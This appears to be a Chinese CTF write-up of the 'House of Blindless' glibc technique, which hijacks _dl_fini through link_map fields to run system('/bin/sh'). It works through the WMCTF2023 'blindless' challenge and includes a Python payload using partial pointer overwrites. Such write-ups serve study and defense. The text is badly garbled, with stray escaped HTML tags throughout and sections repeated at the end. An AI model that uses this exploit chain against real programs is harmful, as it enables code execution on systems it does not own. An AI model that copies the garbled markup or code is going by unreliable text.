House of Blindless 利用技术详解<\/h1>

前言<\/h2>
House of Blindless 是一种在无内存泄露情况下利用 `_dl_fini<\/code> 函数实现代码执行的技术，与 banana 利用手法相似。该技术由 WMCTF2023 比赛中的 blindless 题目首次展示。<\/p>`

利用条件<\/h2>

无泄露情况下可以通过偏移实现 libc 区域的任意写<\/li>
程序可以结束（可显式触发 exit 函数或主函数由 libc_start_main 启动且可正常退出），从而调用到 _dl_fini<\/code> 函数<\/li>
<\/ol>
核心原理<\/h2>
利用 _dl_fini<\/code> 函数中的以下代码片段：<\/p>
if<\/span> (l-><\/span>l_info[DT_FINI_ARRAY] !=<\/span> NULL) {
<\/span><\/span>    \/\/ 分支1
<\/span><\/span><\/span><\/span>} 
<\/span><\/span>\/* Next try the old-style destructor. *\/<\/span>
<\/span><\/span>if<\/span> (l-><\/span>l_info[DT_FINI] !=<\/span> NULL) {
<\/span><\/span>    DL_CALL_DT_FINI(l, l-><\/span>l_addr +<\/span> l-><\/span>l_info[DT_FINI]-><\/span>d_un.d_ptr);
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>通过控制相关数据结构，可以劫持程序流：<\/p>

控制 _rtld_global+2312<\/code> 为 RDI 寄存器值（如 \/bin\/sh\x00<\/code>）<\/li>
修改 l->l_info[DT_FINI]<\/code> 指针使其指向 l->l_info[DT_INIT]->d_un.d_ptr<\/code><\/li>
控制 l_addr<\/code> 为后门函数地址减去 l_info[DT_INIT]<\/code> 的偏移<\/li>
设置 l->l_info[DT_FINI_ARRAY]<\/code> 为 0 以进入第二个分支<\/li>
<\/ol>
关键数据结构<\/h2>
_rtld_global 结构<\/h3>

位于 ld.so 文件中，包含多个 _dl_ns<\/code> 结构体<\/li>
存储着 ELF 各段的符号结构体<\/li>
_dl_rtld_map<\/code> 成员包含关键链接信息<\/li>
<\/ul>
link_map 结构<\/h3>
struct<\/span> link_map {
<\/span><\/span>    ElfW(Addr) l_addr;                 \/\/ 基地址
<\/span><\/span><\/span><\/span>    char<\/span> *<\/span>l_name;                       \/\/ 名称
<\/span><\/span><\/span><\/span>    ElfW(Dyn) *<\/span>l_ld;                    \/\/ 动态段
<\/span><\/span><\/span><\/span>    struct<\/span> link_map *<\/span>l_next, *<\/span>l_prev;   \/\/ 链表
<\/span><\/span><\/span><\/span>    \/\/ ... 其他成员
<\/span><\/span><\/span><\/span>    ElfW(Dyn) *<\/span>l_info[DT_NUM +<\/span> DT_THISPROCNUM +<\/span> DT_VERSIONTAGNUM +<\/span> DT_EXTRANUM +<\/span> DT_VALNUM +<\/span> DT_ADDRNUM]; \/\/ 动态信息表
<\/span><\/span><\/span><\/span>    \/\/ ... 更多成员
<\/span><\/span><\/span><\/span>};
<\/span><\/span><\/code><\/pre>利用步骤详解<\/h2>


控制 RDI 寄存器<\/strong>：<\/p>

设置 _rtld_global+2312<\/code> 为 \/bin\/sh\x00<\/code> 字符串地址<\/li>
<\/ul>
<\/li>

修改 l_addr<\/strong>：<\/p>

计算 system_addr - l_info[DT_INIT]->d_un.d_ptr<\/code> 的偏移<\/li>
修改 l_addr<\/code> 的低位字节使其指向 system 函数<\/li>
<\/ul>
<\/li>

劫持 DT_FINI 指针<\/strong>：<\/p>

通过低位覆盖使 l->l_info[DT_FINI]<\/code> 指向 l->l_info[DT_INIT]<\/code><\/li>
通常只需修改指针的最后一位（如从 0xB8 改为 0xA8）<\/li>
<\/ul>
<\/li>

禁用 DT_FINI_ARRAY<\/strong>：<\/p>

设置 l->l_info[DT_FINI_ARRAY]<\/code> 为 0 以强制进入第二个分支<\/li>
<\/ul>
<\/li>

触发执行<\/strong>：<\/p>

显式调用 exit 函数触发 _dl_fini<\/code> 执行<\/li>
<\/ul>
<\/li>
<\/ol>
例题分析：WMCTF2023-blindless<\/h2>
程序分析<\/h3>

保护全开（Full RELRO, PIE, NX, Canary 等）<\/li>
主函数逻辑：

允许分配任意大小的内存（通过 mmap）<\/li>
执行简单的 Brainfuck 解释器<\/li>
存在后门函数<\/li>
<\/ul>
<\/li>
<\/ul>
漏洞利用<\/h3>


内存分配<\/strong>：<\/p>

申请大内存（如 0x100000）触发 mmap，获取 libc 前的内存区域<\/li>
<\/ul>
<\/li>

任意写实现<\/strong>：<\/p>

利用 Brainfuck 解释器的 '@' 指令调整 data 指针<\/li>
使用 '.' 指令写入数据<\/li>
<\/ul>
<\/li>

构造 payload<\/strong>：<\/p>
<\/li>
<\/ol>
# 设置 rdi = _rtld_global+2312 = '\/bin\/sh\x00'<\/span>
<\/span><\/span>payload =<\/span> b<\/span>'@'<\/span> +<\/span> p32(argv0-<\/span>0x10<\/span>) +<\/span> write(b<\/span>'\/bin\/sh<\/span>\x00<\/span>'<\/span>) 
<\/span><\/span>
<\/span><\/span># 修改 l_addr 低位为 0xe0<\/span>
<\/span><\/span>payload +=<\/span> b<\/span>'@'<\/span> +<\/span> p32(l_addr-<\/span>argv0-<\/span>8<\/span>) +<\/span> write(p8(0xe0<\/span>))
<\/span><\/span>
<\/span><\/span># 劫持 DT_FINI 指针<\/span>
<\/span><\/span>payload +=<\/span> b<\/span>'@'<\/span> +<\/span> p32(dt_fini-<\/span>l_addr-<\/span>1<\/span>) +<\/span> write(p8(0xa8<\/span>))
<\/span><\/span>
<\/span><\/span># 禁用 DT_FINI_ARRAY<\/span>
<\/span><\/span>payload +=<\/span> b<\/span>'@'<\/span> +<\/span> p32(dt_fini_array-<\/span>dt_fini-<\/span>1<\/span>) +<\/span> write(p64(0<\/span>))
<\/span><\/span>
<\/span><\/span># 触发 exit<\/span>
<\/span><\/span>payload +=<\/span> b<\/span>'q'<\/span>
<\/span><\/span><\/code><\/pre>关键偏移计算<\/h2>

argv0 = _rtld_global+2312 - mmap_base<\/code><\/li>
l_addr = 0x33e190<\/code> (相对于 mmap_base)<\/li>
dt_fini = l_addr + 0xa8<\/code><\/li>
dt_fini_array = l_addr + 0x110<\/code><\/li>
<\/ul>
防御措施<\/h2>

启用 Full RELRO 防止 .dynamic 段被修改<\/li>
使用地址随机化（ASLR）增加预测难度<\/li>
检查指针完整性<\/li>
限制 mmap 分配的大小<\/li>
<\/ol>
参考链接<\/h2>

WMCTF2023 pwn 部分wp - 知乎<\/a><\/li>
2023 WMCTF - Gitee<\/a><\/li>
WMCTF 2023 Writeup - 星盟安全团队<\/a><\/li>
<\/ol>

House of Blindless 利用技术详解<\/h1>

前言<\/h2> House of Blindless 是一种在无内存泄露情况下利用 _dl_fini<\/code> 函数实现代码执行的技术，与 banana 利用手法相似。该技术由 WMCTF2023 比赛中的 blindless 题目首次展示。<\/p>

关键数据结构<\/h2>

例题分析：WMCTF2023-blindless<\/h2>

参考链接<\/h2> WMCTF2023 pwn 部分wp - 知乎<\/a><\/li> 2023 WMCTF - Gitee<\/a><\/li> WMCTF 2023 Writeup - 星盟安全团队<\/a><\/li> <\/ol>

前言<\/h2>
House of Blindless 是一种在无内存泄露情况下利用 `_dl_fini<\/code> 函数实现代码执行的技术，与 banana 利用手法相似。该技术由 WMCTF2023 比赛中的 blindless 题目首次展示。<\/p>`

参考链接<\/h2>

WMCTF2023 pwn 部分wp - 知乎<\/a><\/li>
2023 WMCTF - Gitee<\/a><\/li>
WMCTF 2023 Writeup - 星盟安全团队<\/a><\/li> <\/ol>